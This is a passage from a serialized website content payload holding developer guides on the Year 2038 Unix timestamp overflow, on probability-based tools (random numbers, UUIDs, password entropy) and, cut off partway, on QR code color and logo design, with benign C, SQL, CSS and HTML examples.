Bug.",[11,170149,170151],{"id":170150},"what-causes-the-overflow","What Causes the Overflow",[16,170153,170154,170155,170158],{},"Unix time is stored as a single integer counting seconds from the epoch (January 1, 1970, 00:00:00 UTC). On 32-bit systems using a signed integer (",[143,170156,170157],{},"int32_t"," in C), the range is:",[193,170160,170161,170169],{},[196,170162,170163],{},[199,170164,170165,170167],{},[202,170166,14482],{},[202,170168,1769],{},[211,170170,170171,170179,170187,170195],{},[199,170172,170173,170176],{},[216,170174,170175],{},"Min value",[216,170177,170178],{},"-2,147,483,648",[199,170180,170181,170184],{},[216,170182,170183],{},"Max value",[216,170185,170186],{},"2,147,483,647",[199,170188,170189,170192],{},[216,170190,170191],{},"Max timestamp",[216,170193,170194],{},"2038-01-19 03:14:07 UTC",[199,170196,170197,170200],{},[216,170198,170199],{},"Min timestamp",[216,170201,170202],{},"1901-12-13 20:45:52 UTC",[16,170204,170205,170206,170209,170210,170213],{},"The overflow happens because binary addition wraps around. The binary representation of 2,147,483,647 is ",[143,170207,170208],{},"01111111 11111111 11111111 11111111",". Adding 1 produces ",[143,170211,170212],{},"10000000 00000000 00000000 00000000",", which in two's complement signed interpretation is -2,147,483,648.",[33,170215,170217],{"id":170216},"quick-demonstration","Quick demonstration",[135,170219,170221],{"className":13941,"code":170220,"language":13943,"meta":141,"style":141},"#include \u003Cstdio.h>\n#include \u003Ctime.h>\n\nint main() {\n    time_t t = 2147483647;\n    printf(\"Now:  %s\", ctime(&t));\n    t = t + 1;\n    printf(\"Next: %s\", ctime(&t));\n    \u002F\u002F On 32-bit systems: Next = Fri Dec 13 20:45:52 1901\n    \u002F\u002F On 64-bit systems: Next = Tue Jan 19 03:14:08 2038\n    return 0;\n}\n",[143,170222,170223,170228,170233,170237,170242,170247,170252,170257,170262,170267,170272,170277],{"__ignoreMap":141},[1560,170224,170225],{"class":1562,"line":1563},[1560,170226,170227],{},"#include \u003Cstdio.h>\n",[1560,170229,170230],{"class":1562,"line":337},[1560,170231,170232],{},"#include \u003Ctime.h>\n",[1560,170234,170235],{"class":1562,"line":343},[1560,170236,1702],{"emptyLinePlaceholder":363},[1560,170238,170239],{"class":1562,"line":365},[1560,170240,170241],{},"int main() {\n",[1560,170243,170244],{"class":1562,"line":889},[1560,170245,170246],{},"    time_t t = 2147483647;\n",[1560,170248,170249],{"class":1562,"line":1710},[1560,170250,170251],{},"    printf(\"Now:  %s\", ctime(&t));\n",[1560,170253,170254],{"class":1562,"line":1717},[1560,170255,170256],{},"    t = t + 1;\n",[1560,170258,170259],{"class":1562,"line":1747},[1560,170260,170261],{},"    printf(\"Next: %s\", ctime(&t));\n",[1560,170263,170264],{"class":1562,"line":2507},[1560,170265,170266],{},"    \u002F\u002F On 32-bit systems: Next = Fri Dec 13 20:45:52 1901\n",[1560,170268,170269],{"class":1562,"line":2524},[1560,170270,170271],{},"    \u002F\u002F On 64-bit systems: Next = Tue Jan 19 03:14:08 2038\n",[1560,170273,170274],{"class":1562,"line":2529},[1560,170275,170276],{},"    return 0;\n",[1560,170278,170279],{"class":1562,"line":2534},[1560,170280,1585],{},[11,170282,170284],{"id":170283},"who-is-affected","Who Is Affected",[16,170286,170287],{},"The impact depends on how time values are stored and processed:",[41,170289,170290,170301,170307,170313,170327],{},[44,170291,170292,138275,170295,170298,170299,468],{},[47,170293,170294],{},"32-bit Linux kernels:",[143,170296,170297],{},"time_t"," type is 32-bit on 32-bit builds. Filesystem timestamps, process scheduling, and timer subsystems all use ",[143,170300,170297],{},[44,170302,170303,170306],{},[47,170304,170305],{},"Embedded systems:"," Microcontrollers running RTOS or bare-metal C code often store timestamps in 32-bit fields. Many of these devices have deployment lifetimes spanning decades.",[44,170308,170309,170312],{},[47,170310,170311],{},"Filesystems:"," ext3, FAT32, and other legacy filesystems store timestamps in 32-bit fields. Files created after the overflow date may show incorrect modification times.",[44,170314,170315,170318,170319,170322,170323,170326],{},[47,170316,170317],{},"Databases:"," Columns defined as ",[143,170320,170321],{},"INT"," (32-bit) for timestamps will overflow. MySQL's ",[143,170324,170325],{},"TIMESTAMP"," type uses 32-bit storage and is affected through version 5.5.",[44,170328,170329,170332],{},[47,170330,170331],{},"Binary protocols:"," Message formats that allocate 32 bits for timestamp fields — GPS protocols, industrial control systems, financial trading APIs — will break.",[16,170334,170335,170336,170338],{},"Systems already running 64-bit ",[143,170337,170297],{}," (modern Linux, macOS, Windows) are safe at the OS level, but application code and data formats may still carry 32-bit assumptions.",[11,170340,170342],{"id":170341},"migration-paths","Migration Paths",[33,170344,170346],{"id":170345},"switch-to-64-bit-time_t","Switch to 64-bit time_t",[16,170348,170349,170350,170352,170353,170356],{},"The most straightforward fix: compile with a 64-bit ",[143,170351,170297],{},". GNU C Library (glibc) 2.34+, musl 1.2+, and FreeBSD 13+ all support ",[143,170354,170355],{},"_TIME_BITS=64"," for 32-bit builds:",[135,170358,170360],{"className":13941,"code":170359,"language":13943,"meta":141,"style":141},"# Compile with 64-bit time_t on 32-bit platforms\nCFLAGS += -D_TIME_BITS=64 -D_FILE_OFFSET_BITS=64\n",[143,170361,170362,170367],{"__ignoreMap":141},[1560,170363,170364],{"class":1562,"line":1563},[1560,170365,170366],{},"# Compile with 64-bit time_t on 32-bit platforms\n",[1560,170368,170369],{"class":1562,"line":337},[1560,170370,170371],{},"CFLAGS += -D_TIME_BITS=64 -D_FILE_OFFSET_BITS=64\n",[16,170373,170374,170375,170377,170378,170381,170382,170384,170385,5255,170387,170389],{},"This redefines ",[143,170376,170297],{}," as ",[143,170379,170380],{},"int64_t",", extending the range to approximately year 292 billion. Existing source code that uses ",[143,170383,170297],{}," correctly compiles without changes. However, any code that casts ",[143,170386,170297],{},[143,170388,87933],{}," or serializes it as 4 bytes will need updates.",[33,170391,170393],{"id":170392},"upgrade-database-columns","Upgrade database columns",[135,170395,170397],{"className":23599,"code":170396,"language":23601,"meta":141,"style":141},"-- MySQL: Convert TIMESTAMP to DATETIME (8-byte storage after MySQL 5.6.4)\nALTER TABLE events MODIFY created_at DATETIME(3);\n\n-- PostgreSQL: Use TIMESTAMPTZ (always 8 bytes)\n-- Already safe — no action needed\n",[143,170398,170399,170404,170409,170413,170418],{"__ignoreMap":141},[1560,170400,170401],{"class":1562,"line":1563},[1560,170402,170403],{},"-- MySQL: Convert TIMESTAMP to DATETIME (8-byte storage after MySQL 5.6.4)\n",[1560,170405,170406],{"class":1562,"line":337},[1560,170407,170408],{},"ALTER TABLE events MODIFY created_at DATETIME(3);\n",[1560,170410,170411],{"class":1562,"line":343},[1560,170412,1702],{"emptyLinePlaceholder":363},[1560,170414,170415],{"class":1562,"line":365},[1560,170416,170417],{},"-- PostgreSQL: Use TIMESTAMPTZ (always 8 bytes)\n",[1560,170419,170420],{"class":1562,"line":889},[1560,170421,170422],{},"-- Already safe — no action needed\n",[33,170424,170426],{"id":170425},"redesign-binary-protocols","Redesign binary protocols",[16,170428,170429],{},"For protocols that cannot change field sizes, consider:",[41,170431,170432,170435],{},[44,170433,170434],{},"Epoch shifting: use a more recent epoch (e.g., 2000-01-01) to extend the positive range",[44,170436,170437,170438,5255,170440,170443],{},"Unsigned integers: switching from ",[143,170439,170157],{},[143,170441,170442],{},"uint32_t"," extends the range to 2106-02-07 (but loses pre-1970 dates)",[11,170445,170447],{"id":170446},"lessons-from-y2k","Lessons from Y2K",[16,170449,170450],{},"The Year 2000 problem taught the industry that date-related bugs seem far away until they are not. Banks and insurance companies began hitting Y2K bugs in the 1990s because their 30-year mortgages and life insurance policies extended past 2000. Similarly, systems that compute future dates — loan amortization, certificate expiry, long-term archiving — are already encountering 2038 limits in 2026.",[16,170452,170453,170454,170456],{},"The key insight from Y2K: early, systematic remediation is far cheaper than emergency patches. auditing codebases for ",[143,170455,170157],{}," timestamp usage, testing with dates beyond 2038, and scheduling upgrades during regular maintenance cycles all reduce risk and cost.",[11,170458,1355],{"id":1354},[41,170460,170461,170464,170467,170473,170476],{},[44,170462,170463],{},"The 2038 overflow occurs when the Unix timestamp exceeds 2,147,483,647, the maximum signed 32-bit integer.",[44,170465,170466],{},"32-bit Linux kernels, embedded systems, legacy databases, and binary protocols are most at risk.",[44,170468,170469,170470,170472],{},"Compiling with ",[143,170471,170355],{}," is the simplest migration path for C applications on 32-bit platforms.",[44,170474,170475],{},"Systems that calculate future dates are already affected and should be audited now.",[44,170477,170478],{},"Proactive remediation during scheduled maintenance is cheaper than last-minute emergency fixes.",[11,170480,286],{"id":285},[16,170482,170483,170484,170486],{},"Working with timestamps? Use the ",[98,170485,623],{"href":622}," to convert between Unix timestamps and human-readable dates — including dates past 2038 on 64-bit systems.",[2043,170488,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":170490},[170491,170494,170495,170500,170501,170502],{"id":170150,"depth":337,"text":170151,"children":170492},[170493],{"id":170216,"depth":343,"text":170217},{"id":170283,"depth":337,"text":170284},{"id":170341,"depth":337,"text":170342,"children":170496},[170497,170498,170499],{"id":170345,"depth":343,"text":170346},{"id":170392,"depth":343,"text":170393},{"id":170425,"depth":343,"text":170426},{"id":170446,"depth":337,"text":170447},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Why 32-bit Unix timestamps overflow on January 19, 2038 and how systems are preparing.",{"immutable":363},"\u002Fguides\u002Fposix-time-2038-problem",{"title":170142,"description":170503},"guides\u002Fposix-time-2038-problem","ew6KhtAMC8HtYPDWcyvITRfXRlX8exLFNMm85ch_Z0k",{"id":170510,"title":170511,"body":170512,"date":2070,"description":171002,"extension":361,"meta":171003,"navigation":363,"path":171004,"readingTime":1710,"seo":171005,"stem":171006,"__hash__":171007},"guides\u002Fguides\u002Fprobability-and-statistics-tools.md","Probability and Statistics Tools",{"type":8,"value":170513,"toc":170978},[170514,170518,170521,170525,170528,170554,170558,170565,170571,170575,170642,170645,170649,170652,170655,170659,170683,170687,170752,170755,170759,170762,170776,170780,170783,170789,170863,170866,170870,170884,170888,170894,170908,170911,170913,170917,170920,170924,170927,170931,170934,170938,170941,170943,170960,170962],[11,170515,170517],{"id":170516},"why-probability-tools-matter-online","Why Probability Tools Matter Online",[16,170519,170520],{},"Every time you generate a password, create a UUID, or shuffle a playlist, you rely on probability. Online probability tools make these operations instant — no install, no code, just results. This guide covers three core tool categories, how they connect to probability theory, and where you will use them in practice.",[11,170522,170524],{"id":170523},"random-number-generators","Random Number Generators",[16,170526,170527],{},"A random number generator (RNG) produces numbers from a defined range, optionally following a distribution. Online RNGs typically offer:",[41,170529,170530,170536,170542,170548],{},[44,170531,170532,170535],{},[47,170533,170534],{},"Integer ranges"," — pick a number between 1 and 100 for dice rolls, lotteries, or classroom demos.",[44,170537,170538,170541],{},[47,170539,170540],{},"Decimal precision"," — generate floating-point values for simulations or statistical sampling.",[44,170543,170544,170547],{},[47,170545,170546],{},"Quantity control"," — produce one number or thousands at once.",[44,170549,170550,170553],{},[47,170551,170552],{},"Exclusion lists"," — prevent duplicates or skip specific values.",[33,170555,170557],{"id":170556},"how-they-relate-to-probability","How They Relate to Probability",[16,170559,170560,170561,170564],{},"A fair RNG drawing from 1 to N produces each value with probability 1\u002FN — a ",[47,170562,170563],{},"uniform distribution",". If you need weighted outcomes (say, rolling a loaded die), you overlay a custom probability mass function on the raw uniform samples.",[16,170566,170567,170568,170570],{},"Most online tools use ",[143,170569,41808],{}," in the browser, which draws from a cryptographically secure source. This means the output passes statistical tests for uniformity and is safe for security-sensitive tasks like password generation.",[33,170572,170574],{"id":170573},"distribution-types","Distribution Types",[193,170576,170577,170588],{},[196,170578,170579],{},[199,170580,170581,170584,170586],{},[202,170582,170583],{},"Distribution",[202,170585,1775],{},[202,170587,133],{},[211,170589,170590,170603,170616,170629],{},[199,170591,170592,170597,170600],{},[216,170593,170594],{},[47,170595,170596],{},"Uniform",[216,170598,170599],{},"Fair dice, random selections",[216,170601,170602],{},"Pick 1–6 equally",[199,170604,170605,170610,170613],{},[216,170606,170607],{},[47,170608,170609],{},"Normal (Gaussian)",[216,170611,170612],{},"Simulating natural variation",[216,170614,170615],{},"Heights, test scores",[199,170617,170618,170623,170626],{},[216,170619,170620],{},[47,170621,170622],{},"Bernoulli",[216,170624,170625],{},"Coin flips, yes\u002Fno decisions",[216,170627,170628],{},"50\u002F50 chance",[199,170630,170631,170636,170639],{},[216,170632,170633],{},[47,170634,170635],{},"Poisson",[216,170637,170638],{},"Event counts in a time window",[216,170640,170641],{},"Errors per hour",[16,170643,170644],{},"Online RNGs focus on uniform output. For other distributions, you transform uniform samples using techniques like the Box-Muller transform (for normal) or inverse transform sampling.",[11,170646,170648],{"id":170647},"uuid-generators","UUID Generators",[16,170650,170651],{},"A UUID (Universally Unique Identifier) is a 128-bit value that identifies resources without central coordination. UUID v4 — the most common version — fills 122 bits with random data, giving 5.3 × 10³⁶ possible values.",[16,170653,170654],{},"The probability of a UUID v4 collision is astronomically low. Generating 1 billion UUIDs per second for 85 years gives a collision probability of roughly 50%. In practice, you will never see a duplicate.",[33,170656,170658],{"id":170657},"when-to-use-uuids","When to Use UUIDs",[41,170660,170661,170667,170673,170678],{},[44,170662,170663,170666],{},[47,170664,170665],{},"Database primary keys"," — avoid sequential ID guessing attacks.",[44,170668,170669,170672],{},[47,170670,170671],{},"Distributed systems"," — generate IDs without contacting a central server.",[44,170674,170675,170677],{},[47,170676,132796],{}," — avoid name collisions in shared storage.",[44,170679,170680,170682],{},[47,170681,42053],{}," — unique, unguessable session identifiers.",[33,170684,170686],{"id":170685},"uuid-versions-and-probability","UUID Versions and Probability",[193,170688,170689,170704],{},[196,170690,170691],{},[199,170692,170693,170695,170698,170701],{},[202,170694,5527],{},[202,170696,170697],{},"Source of Randomness",[202,170699,170700],{},"Predictability",[202,170702,170703],{},"Collision Risk",[211,170705,170706,170721,170737],{},[199,170707,170708,170713,170716,170719],{},[216,170709,170710],{},[47,170711,170712],{},"v1",[216,170714,170715],{},"Timestamp + MAC",[216,170717,170718],{},"Predictable",[216,170720,36949],{},[199,170722,170723,170728,170731,170734],{},[216,170724,170725],{},[47,170726,170727],{},"v4",[216,170729,170730],{},"Random bits",[216,170732,170733],{},"Unpredictable",[216,170735,170736],{},"Negligible",[199,170738,170739,170744,170747,170750],{},[216,170740,170741],{},[47,170742,170743],{},"v7",[216,170745,170746],{},"Timestamp + random",[216,170748,170749],{},"Partially predictable",[216,170751,170736],{},[16,170753,170754],{},"UUID v4 relies entirely on probability for uniqueness. UUID v7 adds a timestamp prefix, making it sortable while keeping collision risk negligible.",[11,170756,170758],{"id":170757},"password-generators","Password Generators",[16,170760,170761],{},"Password generators combine randomness with character-set constraints to produce strings that resist brute-force attacks. The strength of a generated password depends on two probability factors:",[77,170763,170764,170770],{},[44,170765,170766,170769],{},[47,170767,170768],{},"Character pool size"," — more character types (uppercase, lowercase, digits, symbols) increase the space an attacker must search.",[44,170771,170772,170775],{},[47,170773,170774],{},"Password length"," — each additional character multiplies the search space exponentially.",[33,170777,170779],{"id":170778},"entropy-calculation","Entropy Calculation",[16,170781,170782],{},"Password entropy measures unpredictability in bits. The formula:",[135,170784,170787],{"className":170785,"code":170786,"language":140},[138],"entropy = log2(pool_size) × length\n",[143,170788,170786],{"__ignoreMap":141},[193,170790,170791,170809],{},[196,170792,170793],{},[199,170794,170795,170798,170801,170803,170806],{},[202,170796,170797],{},"Password",[202,170799,170800],{},"Pool",[202,170802,142795],{},[202,170804,170805],{},"Entropy",[202,170807,170808],{},"Time to Crack",[211,170810,170811,170828,170845],{},[199,170812,170813,170818,170820,170822,170825],{},[216,170814,170815],{},[143,170816,170817],{},"abc123",[216,170819,42145],{},[216,170821,44593],{},[216,170823,170824],{},"31 bits",[216,170826,170827],{},"Instant",[199,170829,170830,170835,170838,170840,170843],{},[216,170831,170832],{},[143,170833,170834],{},"k9Mx!2vP",[216,170836,170837],{},"94",[216,170839,10078],{},[216,170841,170842],{},"52 bits",[216,170844,705],{},[199,170846,170847,170852,170854,170857,170860],{},[216,170848,170849],{},[143,170850,170851],{},"correct-horse-battery-staple",[216,170853,22905],{},[216,170855,170856],{},"28",[216,170858,170859],{},"131 bits",[216,170861,170862],{},"Centuries",[16,170864,170865],{},"A 12-character password drawn from all 94 printable ASCII characters has 79 bits of entropy — well beyond current brute-force capabilities.",[33,170867,170869],{"id":170868},"what-online-generators-do-well","What Online Generators Do Well",[41,170871,170872,170875,170878,170881],{},[44,170873,170874],{},"Enforce minimum length and character diversity.",[44,170876,170877],{},"Use CSPRNG sources to guarantee unpredictability.",[44,170879,170880],{},"Avoid ambiguous characters (0\u002FO, 1\u002Fl) on request for readability.",[44,170882,170883],{},"Generate multiple candidates so you can pick one you find memorable.",[11,170885,170887],{"id":170886},"how-probability-connects-these-tools","How Probability Connects These Tools",[16,170889,170890,170891,468],{},"All three tool types share a mathematical foundation: ",[47,170892,170893],{},"uniform random sampling",[41,170895,170896,170902,170905],{},[44,170897,170898,170899,468],{},"An RNG samples integers uniformly from ",[1560,170900,170901],{},"min, max",[44,170903,170904],{},"A UUID v4 samples 122 bits uniformly from [0, 2¹²²).",[44,170906,170907],{},"A password generator samples characters uniformly from the allowed set.",[16,170909,170910],{},"The core operation is identical. The difference lies in what you do with the samples — display them as numbers, encode them as hex IDs, or concatenate them into strings.",[11,170912,5600],{"id":5599},[33,170914,170916],{"id":170915},"ab-testing","A\u002FB Testing",[16,170918,170919],{},"Random number generators assign users to test groups. Proper randomization ensures group sizes are balanced and results are statistically valid. Without uniform assignment, selection bias destroys experiment credibility.",[33,170921,170923],{"id":170922},"monte-carlo-simulations","Monte Carlo Simulations",[16,170925,170926],{},"Monte Carlo methods estimate values by running random trials — calculating Pi, pricing financial options, modeling particle physics. Online RNGs provide the uniform samples that drive these simulations. Accuracy scales with sample count: more trials, tighter confidence intervals.",[33,170928,170930],{"id":170929},"survey-sampling","Survey Sampling",[16,170932,170933],{},"Selecting a random subset of a population for surveys requires uniform sampling without replacement. An integer RNG with exclusion (no duplicates) handles this directly. Stratified sampling adds a layer: divide the population into groups first, then sample within each.",[33,170935,170937],{"id":170936},"game-development","Game Development",[16,170939,170940],{},"Dice rolls, card shuffles, loot drops, and procedural terrain all depend on RNGs. Games need fast, reproducible random sequences — making PRNGs like xoshiro the standard choice. Only gambling applications require CSPRNGs for regulatory compliance.",[11,170942,1355],{"id":1354},[41,170944,170945,170948,170951,170954,170957],{},[44,170946,170947],{},"Online RNGs, UUID generators, and password generators all rely on uniform random sampling.",[44,170949,170950],{},"UUID v4 uses 122 random bits, making collisions practically impossible.",[44,170952,170953],{},"Password strength is a probability problem: entropy = log2(pool) × length.",[44,170955,170956],{},"Use CSPRNG-backed tools for security tasks; PRNGs suffice for simulations and games.",[44,170958,170959],{},"Monte Carlo, A\u002FB testing, and survey sampling all require proper randomization to produce valid results.",[11,170961,286],{"id":285},[16,170963,170964,170965,170967,170968,170972,170973,170977],{},"Put probability to work right now. Use our ",[98,170966,42522],{"href":42521}," for unbiased samples from any range, our ",[98,170969,170971],{"href":170970},"\u002Ftools\u002Fuuid-generator","UUID Generator"," for collision-free identifiers, or our ",[98,170974,170976],{"href":170975},"\u002Ftools\u002Fpassword-generator","Password Generator"," for high-entropy passwords — all free and running entirely in your browser.",{"title":141,"searchDepth":337,"depth":337,"links":170979},[170980,170981,170985,170989,170993,170994,171000,171001],{"id":170516,"depth":337,"text":170517},{"id":170523,"depth":337,"text":170524,"children":170982},[170983,170984],{"id":170556,"depth":343,"text":170557},{"id":170573,"depth":343,"text":170574},{"id":170647,"depth":337,"text":170648,"children":170986},[170987,170988],{"id":170657,"depth":343,"text":170658},{"id":170685,"depth":343,"text":170686},{"id":170757,"depth":337,"text":170758,"children":170990},[170991,170992],{"id":170778,"depth":343,"text":170779},{"id":170868,"depth":343,"text":170869},{"id":170886,"depth":337,"text":170887},{"id":5599,"depth":337,"text":5600,"children":170995},[170996,170997,170998,170999],{"id":170915,"depth":343,"text":170916},{"id":170922,"depth":343,"text":170923},{"id":170929,"depth":343,"text":170930},{"id":170936,"depth":343,"text":170937},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Free online tools for random number generation, sampling, and statistical analysis.",{"immutable":363},"\u002Fguides\u002Fprobability-and-statistics-tools",{"title":170511,"description":171002},"guides\u002Fprobability-and-statistics-tools","z8N5hAvWNedZ_OTlYCwIOxy6SOfm1nZFQ3ft_Ry3fD0",{"id":171009,"title":171010,"body":171011,"date":2070,"description":171528,"extension":361,"meta":171529,"navigation":363,"path":171530,"readingTime":1710,"seo":171531,"stem":171532,"__hash__":171533},"guides\u002Fguides\u002Fqr-code-design-colors-logos.md","QR Code Design: Adding Colors and Logos Safely",{"type":8,"value":171012,"toc":171509},[171013,171017,171020,171023,171027,171030,171094,171097,171101,171105,171108,171185,171189,171200,171203,171206,171212,171214,171234,171238,171242,171245,171250,171256,171260,171277,171281,171284,171398,171402,171405,171411,171415,171467,171470,171472,171492,171494,171501,171506],[11,171014,171016],{"id":171015},"custom-qr-codes-need-careful-design","Custom QR Codes Need Careful Design",[16,171018,171019],{},"Plain black-and-white QR codes work reliably, but they look generic. Adding brand colors, gradients, and logos makes QR codes visually appealing and on-brand. The challenge is maintaining scannability while customizing the design.",[16,171021,171022],{},"Every visual modification you make to a QR code reduces its tolerance for damage, distortion, and scanning difficulty. Understanding the tradeoffs helps you create codes that look good and scan reliably.",[11,171024,171026],{"id":171025},"error-correction-your-design-budget","Error Correction: Your Design Budget",[16,171028,171029],{},"QR codes use Reed-Solomon error correction, which allows the code to be read even when part of it is damaged or obscured. There are four levels:",[193,171031,171032,171043],{},[196,171033,171034],{},[199,171035,171036,171038,171041],{},[202,171037,3291],{},[202,171039,171040],{},"Data Recovery",[202,171042,489],{},[211,171044,171045,171057,171070,171082],{},[199,171046,171047,171052,171054],{},[216,171048,171049],{},[47,171050,171051],{},"L (Low)",[216,171053,165924],{},[216,171055,171056],{},"Minimal customization, small codes",[199,171058,171059,171064,171067],{},[216,171060,171061],{},[47,171062,171063],{},"M (Medium)",[216,171065,171066],{},"15%",[216,171068,171069],{},"Light color changes",[199,171071,171072,171077,171079],{},[216,171073,171074],{},[47,171075,171076],{},"Q (Quartile)",[216,171078,21008],{},[216,171080,171081],{},"Logo overlay, moderate customization",[199,171083,171084,171089,171091],{},[216,171085,171086],{},[47,171087,171088],{},"H (High)",[216,171090,2173],{},[216,171092,171093],{},"Maximum customization, logo placement",[16,171095,171096],{},"When you add a logo or modify colors, you consume some of the error correction capacity. Always use level H (30%) when placing a logo in the center of the code. The 30% redundancy gives you room for the logo while maintaining scannability.",[11,171098,171100],{"id":171099},"working-with-colors","Working with Colors",[33,171102,171104],{"id":171103},"foreground-and-background","Foreground and Background",[16,171106,171107],{},"QR code readers detect the contrast between dark modules (foreground) and light modules (background). As long as the foreground is significantly darker than the background, you can use non-black colors.",[135,171109,171111],{"className":1554,"code":171110,"language":1556,"meta":141,"style":141},"\u002F* Safe QR code color combinations *\u002F\n--safe-1: { fg: #1a365d, bg: #ffffff };  \u002F* Dark blue on white *\u002F\n--safe-2: { fg: #2d3748, bg: #f7fafc };  \u002F* Dark gray on light gray *\u002F\n--safe-3: { fg: #9b2c2c, bg: #ffffff };  \u002F* Dark red on white *\u002F\n",[143,171112,171113,171118,171142,171164],{"__ignoreMap":141},[1560,171114,171115],{"class":1562,"line":1563},[1560,171116,171117],{"class":1649},"\u002F* Safe QR code color combinations *\u002F\n",[1560,171119,171120,171123,171126,171128,171131,171134,171136,171139],{"class":1562,"line":337},[1560,171121,171122],{"class":1570},"--safe-1: { ",[1560,171124,171125],{"class":1576},"fg",[1560,171127,1663],{"class":1570},[1560,171129,171130],{"class":1576},"#1a365d",[1560,171132,171133],{"class":1570},", bg: ",[1560,171135,51598],{"class":1576},[1560,171137,171138],{"class":1570}," };  ",[1560,171140,171141],{"class":1649},"\u002F* Dark blue on white *\u002F\n",[1560,171143,171144,171147,171149,171151,171154,171156,171159,171161],{"class":1562,"line":343},[1560,171145,171146],{"class":1570},"--safe-2: { ",[1560,171148,171125],{"class":1576},[1560,171150,1663],{"class":1570},[1560,171152,171153],{"class":1576},"#2d3748",[1560,171155,171133],{"class":1570},[1560,171157,171158],{"class":1576},"#f7fafc",[1560,171160,171138],{"class":1570},[1560,171162,171163],{"class":1649},"\u002F* Dark gray on light gray *\u002F\n",[1560,171165,171166,171169,171171,171173,171176,171178,171180,171182],{"class":1562,"line":365},[1560,171167,171168],{"class":1570},"--safe-3: { ",[1560,171170,171125],{"class":1576},[1560,171172,1663],{"class":1570},[1560,171174,171175],{"class":1576},"#9b2c2c",[1560,171177,171133],{"class":1570},[1560,171179,51598],{"class":1576},[1560,171181,171138],{"class":1570},[1560,171183,171184],{"class":1649},"\u002F* Dark red on white *\u002F\n",[33,171186,171188],{"id":171187},"contrast-requirements","Contrast Requirements",[41,171190,171191,171194,171197],{},[44,171192,171193],{},"Minimum contrast ratio: 4.5:1 between foreground and background",[44,171195,171196],{},"Test with a contrast checker before finalizing colors",[44,171198,171199],{},"Avoid light foreground colors — even on dark backgrounds, light-on-dark QR codes scan less reliably",[33,171201,171202],{"id":109254},"Gradients",[16,171204,171205],{},"Gradients work for the foreground but must go from dark to dark. A gradient from blue to purple scans fine. A gradient from yellow to red fails — the lighter end lacks contrast.",[135,171207,171210],{"className":171208,"code":171209,"language":140},[138],"✅ Dark gradient: #1a365d → #553c9a (both dark enough)\n❌ Light gradient: #fbd38d → #e53e3e (yellow too light)\n",[143,171211,171209],{"__ignoreMap":141},[33,171213,97929],{"id":97928},[41,171215,171216,171222,171228],{},[44,171217,171218,171221],{},[47,171219,171220],{},"Invert the QR code"," (white modules on black background) — many scanners fail",[44,171223,171224,171227],{},[47,171225,171226],{},"Remove the quiet zone"," — the blank margin around the code is required for scanning",[44,171229,171230,171233],{},[47,171231,171232],{},"Use patterned backgrounds"," — noise interferes with module detection",[11,171235,171237],{"id":171236},"adding-logos","Adding Logos",[33,171239,171241],{"id":171240},"the-safe-zone","The Safe Zone",[16,171243,171244],{},"A logo covers modules in the center of the QR code. The center is the safest position because QR code data is interleaved across the entire matrix — no single region stores all the data.",[16,171246,171247,171249],{},[47,171248,42103],{},": the logo should cover no more than 20-30% of the total QR code area when using error correction level H.",[135,171251,171254],{"className":171252,"code":171253,"language":140},[138],"QR code total area:  100×100 px\nMaximum logo area:   30×30 px (9% of area — conservative)\nMaximum logo area:   40×40 px (16% of area — aggressive but viable with H correction)\n",[143,171255,171253],{"__ignoreMap":141},[33,171257,171259],{"id":171258},"logo-placement-steps","Logo Placement Steps",[77,171261,171262,171265,171268,171271,171274],{},[44,171263,171264],{},"Generate the QR code at error correction level H",[44,171266,171267],{},"Export as SVG or high-resolution PNG",[44,171269,171270],{},"Place the logo in the center with a white background padding",[44,171272,171273],{},"Leave at least 2 module-widths of clear space around the logo",[44,171275,171276],{},"Test scan with at least 3 different devices and apps",[33,171278,171280],{"id":171279},"logo-background","Logo Background",[16,171282,171283],{},"Add a white or background-colored rectangle behind the logo to create a clean boundary between the logo and the QR modules:",[135,171285,171287],{"className":6417,"code":171286,"language":6419,"meta":141,"style":141},"\u003Cdiv class=\"qr-container\" style=\"position: relative; display: inline-block;\">\n  \u003Cimg src=\"qr-code.svg\" alt=\"QR Code\" \u002F>\n  \u003Cdiv style=\"position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);\n              background: white; padding: 8px; border-radius: 4px;\">\n    \u003Cimg src=\"logo.svg\" alt=\"Brand\" style=\"width: 60px; height: 60px;\" \u002F>\n  \u003C\u002Fdiv>\n\u003C\u002Fdiv>\n",[143,171288,171289,171311,171333,171346,171353,171382,171390],{"__ignoreMap":141},[1560,171290,171291,171293,171295,171297,171299,171302,171304,171306,171309],{"class":1562,"line":1563},[1560,171292,6431],{"class":1570},[1560,171294,7291],{"class":2484},[1560,171296,11423],{"class":1566},[1560,171298,7297],{"class":1570},[1560,171300,171301],{"class":5634},"\"qr-container\"",[1560,171303,11449],{"class":1566},[1560,171305,7297],{"class":1570},[1560,171307,171308],{"class":5634},"\"position: relative; display: inline-block;\"",[1560,171310,6441],{"class":1570},[1560,171312,171313,171315,171317,171319,171321,171324,171326,171328,171331],{"class":1562,"line":337},[1560,171314,11223],{"class":1570},[1560,171316,10628],{"class":2484},[1560,171318,10631],{"class":1566},[1560,171320,7297],{"class":1570},[1560,171322,171323],{"class":5634},"\"qr-code.svg\"",[1560,171325,12889],{"class":1566},[1560,171327,7297],{"class":1570},[1560,171329,171330],{"class":5634},"\"QR Code\"",[1560,171332,124341],{"class":1570},[1560,171334,171335,171337,171339,171341,171343],{"class":1562,"line":343},[1560,171336,11223],{"class":1570},[1560,171338,7291],{"class":2484},[1560,171340,11449],{"class":1566},[1560,171342,7297],{"class":1570},[1560,171344,171345],{"class":5634},"\"position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);\n",[1560,171347,171348,171351],{"class":1562,"line":365},[1560,171349,171350],{"class":5634},"              background: white; padding: 8px; border-radius: 4px;\"",[1560,171352,6441],{"class":1570},[1560,171354,171355,171357,171359,171361,171363,171366,171368,171370,171373,171375,171377,171380],{"class":1562,"line":889},[1560,171356,12292],{"class":1570},[1560,171358,10628],{"class":2484},[1560,171360,10631],{"class":1566},[1560,171362,7297],{"class":1570},[1560,171364,171365],{"class":5634},"\"logo.svg\"",[1560,171367,12889],{"class":1566},[1560,171369,7297],{"class":1570},[1560,171371,171372],{"class":5634},"\"Brand\"",[1560,171374,11449],{"class":1566},[1560,171376,7297],{"class":1570},[1560,171378,171379],{"class":5634},"\"width: 60px; height: 